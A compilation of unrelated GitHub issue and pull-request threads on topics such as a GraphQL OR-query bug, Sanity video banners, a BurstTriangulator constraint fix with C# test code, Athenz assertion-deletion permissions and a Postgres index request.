Refactor/restructure injection to match modularisation and allow multiple ViewModels

This pull request was started to support multiple ViewModels via a Provider as stated in #4. After reading https://medium.com/square-corner-blog/keeping-the-daggers-sharp--230b3191c3f I did some restructuring and refactoring regarding the dependency injection in general. If one would believe the aforementioned article then this approach should be more performant. I also had the idea to split up the modules to match the modularisation. That means that all dependencies from inside the data module are provided/bound by DataModule and so on. Let me know what you think.

Happy to merge this with the above changes :) Thanks @anstaendig 👍


Unexpected behavior of queries that include OR

To Reproduce
Steps to reproduce the behavior:

Go to http://<IP_ADDRESS>:4350/graphql
Paste the query:

{
  channels(where: {
    id_in: ["1", "2", "3"],
    OR: [
      { title_contains: "test" },
      { description_contains: "test"  }
    ]
  }) {
    id
  }
}

Hit the "Execute" button
Notice results including channels other than 1, 2 and 3

Expected behavior
The OR condition is joined with other conditions using the default operator (AND)
Expected difference in SQL:
SELECT "channel"."id" AS _c0 FROM "channel" AS "channel"
-  WHERE (("channel"."id" IN ($1, $2, $3)) OR (position($4 in "channel"."title") > 0) OR (position($5 in "channel"."description") > 0))
+  WHERE (("channel"."id" IN ($1, $2, $3)) AND ((position($4 in "channel"."title") > 0) OR (position($5 in "channel"."description") > 0)))

Environment (please complete the following information):

@subsquid/graphql-server: 3.2.3

Interesting, that both Hasura and Warthog behave the way you suggest, but I'm afraid it is too late to make breaking changes like this one...

Closing as "Won't fix"


Add video banner with videos stored in Sanity

Works but then we need to store videos as files, which would require users to download the whole video before they can be viewed. Maybe this can still be useful for video banners since the setting up for it would be very quick and taking into consideration that video banners use short videos. We could also investigate the possibility of adding a sanity validation to make sure that the video is not too large. @NickHaggerty1, @equinor/envis-devs

This would be a quick fix until we investigate/get azure videos in place.

As discussed yesterday, I think this could be a good interim solution. Editors would have to be careful where video would be used and use a page like you mentioned @fernandolucchesi to reduce the video file down as much as possible. Good example: https://www.videosmaller.com. Aslo good to have preview image until the video downloads to avoid a blank area.

https://web-global-development-equinor-web-sites-dev.c2.radix.equinor.com/test
https://studio-global-development-equinor-web-sites-dev.c2.radix.equinor.com/desk/topicContent;fd457b17-79ca-43e3-b8f5-f93e1175c919

Not really sure what the best way to handle this is - but should we make sure the video fills a defined size in the web? This is the result I got with a test video, and I think the wish is to have it be full width? Or at least the same width as the hero image would be?

Also left a comment on the validation - other than that it looks good and probably as good as we can get without using a dedicated streaming service.

I guess you can also use mux-video component. But the file should be in hls format.

If I'm not using Mux Video, can I still use this library?
You sure can! Instead of passing in playback-id="" attribute, pass in src="" with an HLS url. You can still use env-key="" to get all the features of Mux Data with your non-Mux video.

Not really sure what the best way to handle this is - but should we make sure the video fills a defined size in the web? This is the result I got with a test video, and I think the wish is to have it be full width? Or at least the same width as the hero image would be?

Also left a comment on the validation - other than that it looks good and probably as good as we can get without using a dedicated streaming service.

I've added a min-width value to the video. I also couldn't find the exposed method getExtension you mentioned.

I guess you can also use mux-video component. But the file should be in hls format. I dont see any additional advantage using mux-video at the moment though.

If I'm not using Mux Video, can I still use this library?
You sure can! Instead of passing in playback-id="" attribute, pass in src="" with an HLS url. You can still use env-key="" to get all the features of Mux Data with your non-Mux video.

Only advantage I see is having the media player, I prefer to upgrade this later when we connect to azure

@SvSven @padms is this approved?

just added a small suggestion, but it looks good without too!

The margin on the containing <figure> element causes a horizontal scrollbar

The wish IS to have full width video (for most screens. I accept we would need margins for super wide screens!). I dont see a need to have the video placed as you have demo'd above @SvSven. The NARROW option will be the one that would be used. Maybe we could even just hide the ORIGINAL option?

Hi Nick! Hide and Original type is being displayed on dev environments, but Original will be hidden on prod. This is ready to be tested :)

@NickHaggerty1

@fernandolucchesi possible to have something like this for the thumbnail in promos towards the page? We will use OPEN IMAGE graph for Some / Search engine

@meols fyi

Back to in progress for fixing previews when used within promo tiles...

looks good!

remember to add this to v3 as well

Hey, looks good in the promo components. One small thing, the thumbnail in studio is pulling from somewhere else though?

Hey, looks good in the promo components. One small thing, the thumbnail in studio is pulling from somewhere else though. The top one isnt the one I added as thumbnail.

I'll fix it, I might have missed more cases

The issue outlined above is still there so not sure if this needs to be looked at again

The issue outlined above is still there so not sure if this needs to be looked at again

fixed =)


Upload cache should only store splits that are not mature

Right now the upload cache will cache everything until they are deleted.
(They are not expiration date.)
Without anything mature splits will just fill up the cache.
Right now we can set a file size limit to help with this, but this logic is very brittle and depends on the data & merge policy settings.
We want to make sure we only cache splits that are not mature.
Extra difficulty: what should we do if the merge policy settings are changed?

There is another thing to take into account. If we are not doing demuxing on a the server. We obviously don’t want to cache splits for that. I will reopen the issue fort that today and check if the code is right.


tweak examples + add avro blog example

@edenhill
will merge after the blog post is published (and update the URL).

There seems to be a project file error, look at the travis job:
/home/travis/build/confluentinc/confluent-kafka-dotnet/Confluent.Kafka.sln(325): Solution file error MSB5023: Error parsing the nested project section in solution file. A project with the GUID "{25002C63-82EE-43BF-A63F-A3D01AC5D0F1}" is listed as being nested under project "{5E013DDE-CA17-4B15-B1CA-E262B67DBD6A}", but does not exist in the solution.


Some Constraint are ignored

Hi 😄
I am working on a path-finding project for an Unity 2D Game. It has been 2 weeks since i've started using BurstTriangulator and this tool is amazing ! 🥇
For my use case i need to take the shapes of the walls from my rooms, exclude holes and area where enemies are not supposed to go. Actually, it works for 95% of my rooms. An example of the problem on the problematic :
In yellow the constraint Edges used in input

Here my result with holes seeds disabled :

Some edges are randomly ignored, causing sometimes an output result with 0 triangles. I tried to disable Burst, like said on some other asked issues, but it didn't work.
Any idea ? Thanks ! 👍

Hi @katastorm,
Thank you very much for your contribution to the project!
Could you please provide me with some code that reproduces the bug? I will debug it over the weekend.
Best,
Andrzej

I believe I need additional data from you since I've extracted points from picture which you attached but on my machine triangulation performs correctly (using v2.4.0) 😅
I've checked many settings refinement on/off, holes on/off. All passed without any bug.

Below reproduction:
[Test]
public void GithubIssue111Test()
{
    double2[] managedPositions =
    {
        new(3.897305171158049, -0.1048798252002916),
        new(3.878077203204662, 0.14498664724447607),
        new(1.6193736343772762, 0.14319009468317567),
        new(1.5950473415877644, 1.6360767176499147),
        new(-0.1667880553532411, 1.6168973051711584),
        new(-0.1963583394027677, 3.3597475115319257),
        new(1.5589220684632197, 3.358048069919884),
        new(1.525418790968682, 4.621704297159505),
        new(3.791114348142753, 4.623549405195436),
        new(3.7858703568827385, 4.8735129885894635),
        new(5.784996358339404, 4.915173585821801),
        new(5.790823015294976, 4.637436270939548),
        new(8.041951930080117, 4.666957999514445),
        new(8.081864530225785, 3.431124059237678),
        new(9.59213401310998, 3.4416120417577067),
        new(9.622286962855064, 1.670988103908714),
        new(8.125855790240351, 1.667540665210001),
        new(8.149890750182085, 0.18854090798737477),
        new(5.891624180626367, 0.16591405680990423),
        new(5.9178441369264405, -0.08390386016023399),
        new(3.5651857246904592, 3.3928137897547948),
        new(6.061471230881283, 3.4032046613255638),
        new(6.066715222141298, 4.153241077931536),
        new(3.563437727603788, 4.142801650886137),
        new(3.6231609613983977, 0.6293275066763773),
        new(6.132993445010926, 0.6606457878125749),
        new(6.1309541150764755, 1.4245205146880302),
        new(3.6212672978878375, 1.3862588006797765),
        new(2.3747997086671524, 1.1345472201990772),
        new(2.864530225782958, 1.124059237679048),
        new(2.8067006554989082, 3.880602087885409),
        new(2.3032774945375096, 3.877106093712066),
        new(6.863364894391843, 1.1796067006554982),
        new(7.387909686817189, 1.1763049283806732),
        new(7.330225782957029, 3.9259043457149785),
        new(6.819956300072835, 3.9154163631949492),
    };

    int[] managedConstraints =
    {
        0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 0,
        20, 21, 21, 22, 22, 23, 23, 20,
        24, 25, 25, 26, 26, 27, 27, 24,
        28, 29, 29, 30, 30, 31, 31, 28,
        32, 33, 33, 34, 34, 35, 35, 32,
    };

    float2[] managedHoles =
    {
        new(4.887982520029134f, 1.0061665452779804f),
        new(2.605098324836125f, 2.490313182811362f),
        new(4.844282592862346f, 3.7558630735615437f),
        new(7.109541150764749f, 2.7785384802136432f),
    };

    using var positions = new NativeArray<float2>(managedPositions.Select(i => (float2)i).ToArray(), Allocator.Persistent);
    using var constraints = new NativeArray<int>(managedConstraints, Allocator.Persistent);
    using var holes = new NativeArray<float2>(managedHoles, Allocator.Persistent);
    using var triangulator = new Triangulator(Allocator.Persistent)
    {
        Input =
        {
            Positions = positions,
            ConstraintEdges = constraints,
            HoleSeeds = holes,
        },
        Settings =
        {
            RefineMesh = true,
            RefinementThresholds = { Angle = math.radians(25f), Area = 0.1f },
            ConstrainEdges = true,
            RestoreBoundary = true,
            ValidateInput = true,
        }
    };

    triangulator.Run();
    triangulator.Draw();
}

Hey !
(Triangulator.Run() : woah i didn't know that !)
Thanks for your quick answer. That's incredible, i've created an empty project and pass same values as in my game, and the bug persists. Here is my entire code :
using andywiecko.BurstTriangulator;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using Unity.Collections;
using Unity.Mathematics;
using UnityEngine;

public class Script : MonoBehaviour
{

    List<Vector2> positions;
    List<Vector2> holesSeeds;
    List<int> constraint;

    Triangulator tri;

    private void Awake()
    {

        positions = new List<Vector2>() {
            new Vector2(16.5f,1.5f),
            new Vector2(16.5f,2.5f),
            new Vector2(7.5f,2.5f),
            new Vector2(7.5f,8.5f),
            new Vector2(0.5f,8.5f),
            new Vector2(0.5f,15.5f),
            new Vector2(7.5f,15.5f),
            new Vector2(7.5f,20.5f),
            new Vector2(16.5f,20.5f),
            new Vector2(16.5f,21.5f),
            new Vector2(24.5f,21.5f),
            new Vector2(24.5f,20.5f),
            new Vector2(33.5f,20.5f),
            new Vector2(33.5f,15.5f),
            new Vector2(39.5f,15.5f),
            new Vector2(39.5f,8.5f),
            new Vector2(33.5f,8.5f),
            new Vector2(33.5f,2.5f),
            new Vector2(24.5f,2.5f),
            new Vector2(24.5f,1.5f),
            new Vector2(15.5f,15.5f),
            new Vector2(25.5f,15.5f),
            new Vector2(25.5f,18.5f),
            new Vector2(15.5f,18.5f),
            new Vector2(15.5f,4.5f),
            new Vector2(25.5f,4.5f),
            new Vector2(25.5f,7.5f),
            new Vector2(15.5f,7.5f),
            new Vector2(10.5f,6.5f),
            new Vector2(12.5f,6.5f),
            new Vector2(12.5f,17.5f),
            new Vector2(10.5f,17.5f),
            new Vector2(28.5f,6.5f),
            new Vector2(30.5f,6.5f),
            new Vector2(30.5f,17.5f),
            new Vector2(28.5f,17.5f),
            new Vector2(0.5f,11.5f),
            new Vector2(20.5f,21.5f),
            new Vector2(39.5f,11.5f),
            new Vector2(20.5f,1.44f)
        };

        constraint = new List<int>() {
            0,1,
            1,2,
            2,3,
            3,4,
            36,5,
            5,6,
            6,7,
            7,8,
            8,9,
            37,10,
            10,11,
            11,12,
            12,13,
            13,14,
            38,15,
            15,16,
            16,17,
            17,18,
            18,19,
            39,0,
            20,21,
            21,22,
            22,23,
            23,20,
            24,25,
            25,26,
            26,27,
            27,24,
            28,29,
            29,30,
            30,31,
            31,28,
            32,33,
            33,34,
            34,35,
            35,32,
            4,36,
            9,37,
            14,38,
            19,39
        };

        holesSeeds = new List<Vector2>() {
            new Vector2(16.5f,16.5f),
            new Vector2(16.5f,5.5f),
            new Vector2(11.5f,7.5f),
            new Vector2(29.5f,7.5f),
        };

        static float2[] castFloat2(IEnumerable<Vector2> vals)
        {
            return vals.Select(m => new float2(m.x, m.y)).ToArray();
        }

        using var constraintEdges = new NativeArray<int>(constraint.ToArray(), Allocator.Persistent);
        using var nativePositions = new NativeArray<float2>(castFloat2(positions), Allocator.Persistent);
        using var holes = new NativeArray<float2>(castFloat2(holesSeeds), Allocator.Persistent);

        tri = new Triangulator(Allocator.Persistent)
        {
            Settings =
            {
                ValidateInput = true,
                RestoreBoundary = true,
            },
            Input = {
                Positions = nativePositions,
                ConstraintEdges = constraintEdges,
                //HoleSeeds = holes,
                },
        };

        tri.Schedule().Complete();
    }

    private void OnDrawGizmos()
    {
        if (!Application.isPlaying)
            return;

        float gizmoSize = 0.5f;

        Gizmos.color = Color.blue;
        foreach (var p in positions)
        {
            Gizmos.DrawSphere((Vector2)p, Gizmos.probeSize * gizmoSize);
        }

        Gizmos.color = Color.red;
        foreach (var p in holesSeeds)
        {
            Gizmos.DrawSphere((Vector2)p, Gizmos.probeSize * gizmoSize);
        }

        Gizmos.color = Color.cyan;

        Vector2 p1;
        Vector2 p2;
        Vector2 p3;

        for (int i = 0; i < tri.Output.Triangles.Length/  3; i++)
        {
            p1 = positions[tri.Output.Triangles[i * 3 + 0]];
            p2 = positions[tri.Output.Triangles[i * 3 + 1]];
            p3 = positions[tri.Output.Triangles[i * 3 + 2]];

            Gizmos.DrawLine(p1, p2);
            Gizmos.DrawLine(p2, p3);
            Gizmos.DrawLine(p3, p1);
        }

        Gizmos.color = Color.yellow;
        for (int i = 0; i < constraint.Count / 2; i++)
            Gizmos.DrawLine(positions[constraint[i * 2]], positions[constraint[i * 2 + 1]]);
    }
}

I am using Unity 2021.3.34f1.
Each time i add your package for the first time Unity yells errors at me and i have to modify some lines my myself. Maybe thats the cause of the problem ?

Thank you !
Entire project :
EmptyProject_BurstTriangulator.zip

Hi @katastorm,
Great news! Thanks for your input. I've managed to find a bug. With commit 53c3f5c5453e52bb3b882ca7533f89d3d7116ed1, this should work perfectly. The commit just appends two lines in the resolving constraints algorithm:
                    pointToHalfedge[_q] = h0;
                    pointToHalfedge[_p] = h3;
                    pointToHalfedge[_i] = h4; //added
                    pointToHalfedge[_j] = h1; //added

I'm just wondering why this particular bug shows up just now! 😅 Many thanks for your contribution. This makes the package more stable. I hope that many users will benefit from that.

I am using Unity 2021.3.34f1.
Each time i add your package for the first time Unity yells errors at me and i have to modify some lines my myself. Maybe thats the cause of the problem ?

Regarding your errors, I've checked packages-lock.json with the project you shared. You have to bump the Unity.Burst and Unity.Collections packages to resolve this. Please note that the package has the following dependencies defined in package.json:
 "dependencies": {
    "com.unity.burst": "1.8.7",
    "com.unity.collections": "2.2.0"
}

I strongly suggest updating these packages if you can. I also recommend using Unity Package Manager (UPM) to install BurstTriangulator (or OpenUPM to get the stable release). With UPM the appropriate dependencies will be install automatically. To fetch my commit with the fix, you can modify your project manifest as follows:
{
  "dependencies": {
    "com.andywiecko.burst.triangulator": "https://github.com/andywiecko/BurstTriangulator.git#53c3f5c5453e52bb3b882ca7533f89d3d7116ed1",

   ...

This fix will be included in the upcoming release v2.5.0, but before release we have to wait until #110 is merged.

Thanks a lot! I will check your changes and send updates very quickly 😁

Your fix work perfectly on my side. Thanks for all, I can't wait to see how this tool will evolve !

Here a simple prototype of path-finding using Burst triangulator (and triangle centroids) :
https://github.com/andywiecko/BurstTriangulator/assets/45739730/7d41e735-06c1-4cfe-ab8f-968b06df4298

Your fix work perfectly on my side. Thanks for all, I can't wait to see how this tool will evolve !

I'm glad I could help. Let me know if you need any further assistance with the package. Regarding upcoming features, in the near future, I plan to add support for auto holes detection and dynamic triangulation, which should be beneficial, for example, in RTS engines.

Here a simple prototype of path-finding using Burst triangulator (and triangle centroids) :

Wow, it looks very promising, congratulations! I'm also planning to develop an add-on package for BurstTriangulator specifically for pathfinding algorithms with trimeshes. However, this will take some time as I currently have limited availability for personal project development.
Best,
Andrzej


Fix more unittests for MacOS and add dependencies for unittest

Fonts:

Will this download the fonts every time the tests are invoked?
Maybe we should have the open source fonts in one of our repos?

* Will this download the fonts every time the tests are invoked?

No, it should only download it once. It also respects existing symbolic links to fonts which are installed from the Linux distribution.

* Maybe we should have the open source fonts in one of our repos?

That is not possible for the Microsoft fonts.

The macOS build failed. Why?

The macOS build failed. Why?

It failed when compiling gunixconnection.c, so this is unrelated to Tesseract code.
I think @egorpugin will have a look as soon as his time permits.

Yes, sorry for that.
I've updated pango package, it required glib.gio package what was not tested on macos yet.


Crash on server side only when placing water into jam pot

Doesn't happen in single player. Server crashed and almost broke the website xD
crash-reports_crash-2022-04-20_09.29.06-server.txt
Edit by Jamalam: https://www.toptal.com/developers/hastebin/fipoxuyilo.yaml

Thanks for reporting, I'll look into it in a couple hours.

@netcore10 this should be fixed in 1.3.2, but I don't have any way to test it atm. Can you try it out please, and reopen if it's broken still?

@Jamalam360 Fixed!

Awesome! Sorry about that.


Improve description field of SlotLeader table

Currently the slot_leader table has a descrition field that is generated from the pool hash. This was acceptable for Byron but for Shelley the Bech32 pool id should be used instead.

It looks like there hasn't been any activity on this issue for a some time. We're closing it for now. If you're still experiencing this problem or have any updates, please reopen or create a new issue. Your feedback is valuable, thank you!


Make the undercloud_cidr less specific for testing

By using <IP_ADDRESS>/8 we won't have to care about what dhcp is handing out
to instances in the target cloud we are testing on.

Can one of the admins verify this patch?

"ok to test" to accept this pull request for testing
"test this please" for a one time test run
"add to whitelist" to add the author to the whitelist

This looks fine to me, but I want @dlundquist to confirm.

ok to test

will only work if the VM cidr is 10.x ...  should probably make it a variable that is collected from viewing the subnet of neutron network

So I'm going to merge this for now, but paul is right, this could be discovered and made dynamic. What this is here now is a slight improvement, please work on making it dynamic in a future PR.


iOS 8 toolbar "radial" buttons

Consider using this: https://github.com/mdznr/MTZRadialMenu

:+1:  for MTZRadialMenu addition to this library.

Not happening anytime soon. Closing this.


Provide option to pre-process new via builds

Default to enabled
Have picoG automatically process new builds when a platform is known for the source. This can be used to identify errors, either with platform support or some other aspect of the source code.

I love this idea. It could show you processing errors right at the time you click "build" on the .gcomp!

Will require implementing #6, once caching is implemented pre-processing can be completed without wasting processing effort.

@jimkring 0.1 milestone candidate? We're already saving the processed output, just need to do that on change detection and can deploy from that file instead of re-processing as part of deployment. Will also fit in nicely with the new store() functionality.

@negentropicdev yes, I really like the idea of separating the steps of (1) the processing of VIA and (2) sending it to the board.


Examples

Issue
More examples are needed to make it easier to learn different concepts.
The examples to be added are:

Hello world (Previous hello-world should be renamed to edit-model)
Password authentication - Similar to jwt-authentication but with password login
Client session - Similar to password-authentication but with client sessions.
Pagination

Pagination was not included.
Current needed examples are all in place.


connection proxy

Hi, just wondering if it's possible to piggyback Deepstream Client connections over the same port as the server,  as is done with socket.io and engine.io.
i.e: instead of:
 deepstream_client('localhost:6021')
I'd like to just use this on the client:
deepstream_client()
and have server-side middleware register on a known (configurable) path, e.g: /deepstream/, with the port being taken from the current url.
i.e: http communication with DS would piggy-back on the same port.
That way I can be sure that corporate customers can just use one port to connect to the backend?
Dave

Hi @davidmoshal ,
thanks for raising this. You're making a very good point (in fact a related issue has come up before). For the next release of deepstream.io I'd propose adding support for the following two server options
/**
* An instance of a Node HTTP server object. Allows to use
* deepstream from within Node HTTP server implementations,
* e.g. ExpressJS
*
* @type http.Server
* @default null
*/
server.set( 'httpServer', myHttpServer );

/**
* A subpath for browser clients to connect to. Corresponds
* to the client's path option
*
* @type String
* @default '/engine.io'
*/
server.set( 'urlPath', '/ds-connections' );

Please let me know if that would satisfy your requirements.

I'm fine with any config option, as long as I can piggyback one port.
Given that you are using engine.io this should be trivial to implement, no?
https://github.com/socketio/engine.io

See https://github.com/deepstreamIO/deepstream.io/pull/92

We should test this and see if it just works out of the box now that  deepstreamIO/deepstream.io#92 is implemented

Connection defaults to /engine.io path on same host and port as current url


Don't hold a screenshot file opened

Currently every taken screenshot file stays opened until python process is closed, which prevents removing it (on Windows)

@gentoo90 thank you!


Fix hiding menu on mobile

Menu should be hidden automatically after changing subpage on mobile view

:tada: This issue has been resolved in version 1.4.37 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Secure assertion deletion using Athenz Templates

Using the Athenz Template allows for more secure application operations because it enables managing domain information without granting applications the authority to update policies or assertions.
However, there is a bit of a challenge when we want to delete certain assertions after applying a Template. Even if we remove the assertions we want to delete from the Template and provide the Template again, addSolutionTemplate() executes processPolicy() with ignoreDelete = true, so the existing assertions are not deleted.
https://github.com/AthenZ/athenz/blob/e3c60afb076adb37445c19efddfae0de3090fedc/servers/zms/src/main/java/com/yahoo/athenz/zms/DBService.java#L5140-L5141
https://github.com/AthenZ/athenz/blob/e3c60afb076adb37445c19efddfae0de3090fedc/servers/zms/src/main/java/com/yahoo/athenz/zms/DBService.java#L567-L585
As a result, we have to grant the application the authority to update assertions.
Is there a way to delete certain assertions without granting the application the authority to update assertions? Alternatively, is there a method using the Athenz Template to add a new version of the policy and activate it?

It's kind of dangerous for templates to remove assertions since this could lead to unintended deletion of assertions resulting in outages. For example, you might have a user who has applied a template and then went ahead and added more assertions to that policy. If you apply an update, that will delete all those assertions that were not part of the template, we'll be deleting those assertions.
For this kind of scenario to work, the server needs to keep track of internally what assertions it created as part of the template (something that the user cannot change or set) and then it can delete those assertions only. It would be something similar to the resource ownership idea but not allow the user to set or change it and it has to be set the assertion level which we currently do not support.
We already have a separate delete assertion api - so we can easily update the authorization requirements for this api to have a unique authz check (e.g. similar to membership changes). So you can grant someone to have the capability to delete assertion but not update any. This would be pretty straightforward to introduce without breaking anyone.
As far multiple policy version - currently the templates do not have support for it. That seems somewhat advance use case for templates to start creating multiple policy versions.

@havetisyan Thank you for your response.
I have understood that due to the risks associated with deleting assertions via templates, there is currently no feature for assertion deletion through templates.

We already have a separate delete assertion api - so we can easily update the authorization requirements for this api to have a unique authz check (e.g. similar to membership changes). So you can grant someone to have the capability to delete assertion but not update any. This would be pretty straightforward to introduce without breaking anyone.

Thank you for your suggestion. However, there are some points I don't quite understand. I believe the API for deleting assertions is deleteAssertion(). Are you suggesting modifying this API to allow for a unique authorization check?
https://github.com/AthenZ/athenz/blob/cbbb2b0faa8e86f440b33fffa11066e24f43086a/core/zms/src/main/rdl/Policy.rdli#L153-L162
The reason I'm asking is that currently, deleteAssertion() requires policy update permissions, which means it allows not only deletion but also changes. I'm concerned that updating the current authorization requirements might affect existing users. I would appreciate it if you could provide more details.

One unfortunate limitation with the use of the RDL is that we're limited to a single authorization. At some point in the future we will move away from RDL but for now what we've been doing is that we're slowly moving the authorization from the RDL to the actual server code. So for example, if you look at the deleteMembership call, you'll see the RDL only shows an authentication call:
https://github.com/AthenZ/athenz/blob/master/core/zms/src/main/rdl/Role.rdli#L192-L208
There is only an authenticate call. And then if you look at the server code, then we carry out the actual authorization check in the server code itself:
https://github.com/AthenZ/athenz/blob/master/servers/zms/src/main/java/com/yahoo/athenz/zms/ZMSImpl.java#L5300
So when I see we can extend the authorization for the deleteAssertion call, we won't replace it but rather we'll move it to the server and carry out two authorization checks:
("update", "{domainName}:policy.{policyName}");
("delete", "{domainName}:policy.{policyName}.assertion.{assertionId}");
So as long as one of those authorization checks passes, we're good to process the request. So you can add a policy and authorization some principal to have delete action on policy.{policyName}.assertion.* (for example) and they can delete any assertion in that policy and nothing else.

Thank you very much! I understand now. I will consider the PR!


Make progression check configurable

It looks like this check cannot be turned off: https://github.com/jtmullen/submodule-branch-check-action/blob/main/entrypoint.sh#L203-L216
For my use case, I would prefer not to have this check run. Ideally, the submodule would always point to the desired branch. However, if it does end up pointing to another branch, the progression check will fail on the PR to update it back to the desired branch.

Hi @nmote, yes that check is currently always run - it was the primary focus when I first wrote this action. But it would be relatively simple to add an input to disable it. I should be able to do that in the next week or so

That would be great! Looking forward to it.

Just released a new version that I think adds what you were looking for -- hopefully that works for you!

Looks good, thanks so much!


Adds css file to main in package.json and webpack instructions

This adds the css file as the main property in package.json.
This allows you to import the module using E.g webpack, without routing towards the css file manually.
It also adds documentation for how to use webpack, with loaders.
I also bumped the version to 0.9.1. If you'd rather do this yourself in a separate commit, say so, and I'll remove it from the PR.

Thanks


annotate oci layers with component information

What this PR does / why we need it
@maximilianbraun a very quick and dirty and in no way production ready experiment to annotate the oci layers with component information.
Since currently, the abstraction in code is intended to add all kinds of blobs to all kinds of storage backends, a clean solution would require several adjustments. A quick solution could introduce further options containing such metadata. Then the different storage implementation could choose whether to use or ignore those metadata. Furthermore, we might also want more metadata (e.g. to distinct sources from resources and to also annotate the descriptor layer itself).
Which issue(s) this PR fixes

Maybe, you could also add this spec to the Mapping spec of OCM to OCI Registries.


Question:  I wanna change http response Code in gcode , What is the best way for me to do it ？

1.  What version of GoFrame are you using?
github.com/gogf/gf/v2 v2.0.0-rc3
3. Can this issue be re-produced with the latest release?
yes
4. What did you do?
I wanna change http response Code in my way . I found the http Code in goframe errors\gcode\gcode.go
var (
	CodeNil                      = localCode{-1, "", nil}                            // No error code specified.
	CodeOK                       = localCode{0, "OK", nil}                           // It is OK.
	CodeInternalError            = localCode{50, "Internal Error", nil}              // An error occurred internally.
	CodeValidationFailed         = localCode{51, "Validation Failed", nil}           // Data validation failed.
         ........
	CodeBusinessValidationFailed = localCode{300, "Business Validation Failed", nil} // Business validation failed.
)

I wanna change CodeValidationFailed = localCode{51, "Validation Failed", nil}  into CodeValidationFailed = localCode{400, "Validation Failed and xxxxxxx", nil} .
What is the best way for me to do it ？
P.S.
I also implment the MiddlewareHandlerResponse in group.Middleware() and  Code Struct in my own way just like gcode.
But Finally I found CodeValidationFailed  used in gvalid which  I really want the gvalid functions and abilities .

I also want to know

这是来自QQ邮箱的自动回复邮件。
   已收到

@zhonghuaxunGM You can change the error code in middleware. The internal error code can be retrieved using gerror.Code(r.GetError()), you can use switch ... case ... mechanism to do the change.


How to extract the point cloud within gt 3D bounding box

Hi, I hope to extract the sub-cloud of the object within its gt 3D bounding box as inputs for my model. Are there any efficient methods I could use to do that?

you can use a passthrough filter


text of intellectualRights element needs to be enclosed in  element

A nested  element is now appropriately used for Intellectual Rights content.


Add psql index for groups table on columns id, idz

Hi @phschon ,
I spend some time to check your request.
I could not found a query where the lower is the problem
The query to get groups is like
select %s from %s where id=? and identity_zone_id=?
see, https://github.com/cloudfoundry/uaa/blob/develop/server/src/main/java/org/cloudfoundry/identity/uaa/scim/jdbc/JdbcScimGroupProvisioning.java#L59
6 lines below you see a query with LOWER in and where the LOWER index makes sense and this was contributed some years ago already, see
https://github.com/cloudfoundry/uaa/blob/develop/server/src/main/resources/org/cloudfoundry/identity/uaa/db/postgresql/V4_9_0__Add_Index_To_Groups_Name.sql
The point is, it worked obviously before but now you have seen an issue. However I think it is not related to LOWER but due to the fact, that partial indexes (and here we have a partial index because of id) work but sometimes a DB gets under preasure and it can happen, that the DB says, "I am sick today, need to rest ;)"
To you issue.
I agree that we can create an index so that DBs get full index access, but then this index should be added to all DBs.
But I request from you.
Please re-create the index on your DB without LOWER and check some queries with explain, see
https://www.postgresqltutorial.com/postgresql-indexes/postgresql-partial-index/
or here problem with partial index
https://dba.stackexchange.com/questions/295448/postgres-failing-to-consistently-use-best-partial-indexes-when-multiple-are-pres
For now I a problem to add an index which is obviously also not fullly correct ( because we have no LOWER select ) but I see the need to solve it with a full index search


[server][dvc] Delete deprecated chunks when processing partial update

[server][dvc] Delete deprecated chunks when processing partial update
This PR aims to clean up deprecated value and RMD chunks to avoid storage engine chunking leaks. When we processed a partial update request, it will also try to look up old value and RMD manifest and will produce DELETE messages to old value and RMD chunks to remove them.
Note:

As discussed offline, this solution will be a short term solution to clean up disk space, but it will not clean up Kafka version topic garbage chunks as even after log compression there will be one DELETE message left per deprecated chunk key, but we think this is acceptable at this stage as DELETE message is considered small and we can work on long term complete solution later.
Based on current implementation, we could not fully delete a RMD of a key. We can only insert an empty RMD into it. (If this is not acceptable, we will need to add new implementations to execute real RocksDB delete on RMD Column Family.
We refactor the chunking get method to store the retrieved value's manifest if it is chunked. That means for AASIT, we will always delete old RMD chunks (as it is always fetched for every operation) and we will do best effort to delete old value's RMD (in theory, we will always do it for UPDATE). For LFSIT, we will always delete value chunks for UPDATE operation.

How was this PR tested?
Added new integration test logic to validate existing value and RMD chunks are deleted after a new UPDATE request.
Does this PR introduce any user-facing changes?

[x] No. You can skip the rest of this section.
[ ] Yes. Make sure to explain your proposed changes and call out the behavior change.

Regarding the performance concern of the ingestion path, I guess it is fine to keep the current scope, but we should cut tickets to track the follow-up tasks. From my understanding, large messages in chunk-enabled store are rare, so maybe we can create a RocksDB CF to keep the keys with large messages, and in the ingestion path, Ingestion Task can lookup this small CF to check whether a clean up is required or not for full put/delete. Lookup in this small CF should be very fast if some specific partition only contains 10s of large records.
Please let me know if you want to chat about the comments.

I think I get what you were trying to indicate here. But is it true that small CF has much faster performance? And I am even wondering if only 10s of keys are chunked, we can maybe cache it in memory, just like TransientRecord

There is no guarantee that the large entry count will be 10s, but I think that is a common pattern, so we can't keep them in memory since the memory usage will explode if the large entry count is high.
For a small CF, that is my guess about performance implication, and we can always try it in a local benchmark. Another thing we can consider is to have a dedicated block cache for this purpose to make sure other lookups won't pollute the cache, and if the entry count is small, I guess all the entries will be cached.


Create Sliding Window Maximum.cpp

I have added  a leetcode hard question. Please merge my pr. Thank you!

Please merge my request also @Vanshika2063

this is amazing @sumitkr2000
thanks for the contribution in my repo and please share in social media and tag me on twitter

@Vanshika2063 Ok :)


Sync soversion in meson with autotools build

Soversion in autotools build was bumped to 5,
but the major version in meson build was not bumped at the same time.
Sync soversion in meson.

Duplicate of #3165

Wouldn't that be the other way round?
fre. 29. nov. 2019, 13:59 skrev Philippe Normand<EMAIL_ADDRESS>
Duplicate of #3165 https://github.com/cisco/openh264/pull/3165
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/cisco/openh264/pull/3148?email_source=notifications&email_token=ABXE4PW6HSOZXT3ZFCWJDY3QWEG2FA5CNFSM4H63U4R2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEFOZS5Y#issuecomment-559782263,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABXE4PUQS5XB6ATWVUERSHTQWEG2FANCNFSM4H63U4RQ
.

Yeah but the other PR also bumps the version. Up to the maintainers to choose which PR to review I suppose :)

